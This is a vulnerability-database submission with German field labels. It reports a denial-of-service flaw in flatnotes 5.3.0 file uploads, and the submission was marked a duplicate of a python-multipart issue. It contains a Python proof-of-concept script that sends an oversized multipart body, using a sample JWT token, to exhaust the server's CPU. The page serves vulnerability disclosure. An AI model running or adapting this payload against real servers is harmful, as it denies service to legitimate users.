| Titel | github dullage 5.3.0 Improper Input Validation |
|---|
| Beschreibung | Anyone who can log in to flatnotes and upload images through the function can cause DOS , which can prevent others from using it, other API interfaces from being accessed, and server DOS attacks.
Attackers can send the following two POCs, causing the victim's server to be occupied by CPU resources for a long time, unable to process requests from other normal users, thus causing harm to DOS.
```
import requests
url = "http://192.168.137.11:8080/api/attachments"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Accept-Language": "zh-CN,zh;q=0.9",
"Accept": "application/json, text/plain, */*",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Origin": "http://192.168.137.11:8080",
"Referer": "http://192.168.137.11:8080/new",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Connection": "keep-alive"
}
data = (
"------WebKitFormBoundaryN20AMdlOKTaspeAy\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"sword.png\"\r\n"
"Content-Type: image/png\r\n\r\n" + file_content+ "\r\n"
"------WebKitFormBoundaryN20AMdlOKTaspeAy--"+"0123456789"*50000+"\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
|
|---|
| Quelle | ⚠️ https://github.com/Startr4ck/CVE_lists/blob/main/flatnotes/flatnotes%20webserver%20dos.md |
|---|
| Benutzer | startr4ck (UID 76213) |
|---|
| Einreichung | 12.12.2024 08:14 (vor 2 Jahren) |
|---|
| Moderieren | 16.12.2024 09:57 (4 days later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 286650 [Kludex python-multipart bis 0.0.17 auf Python Line Break Denial of Service] |
|---|
| Punkte | 0 |
|---|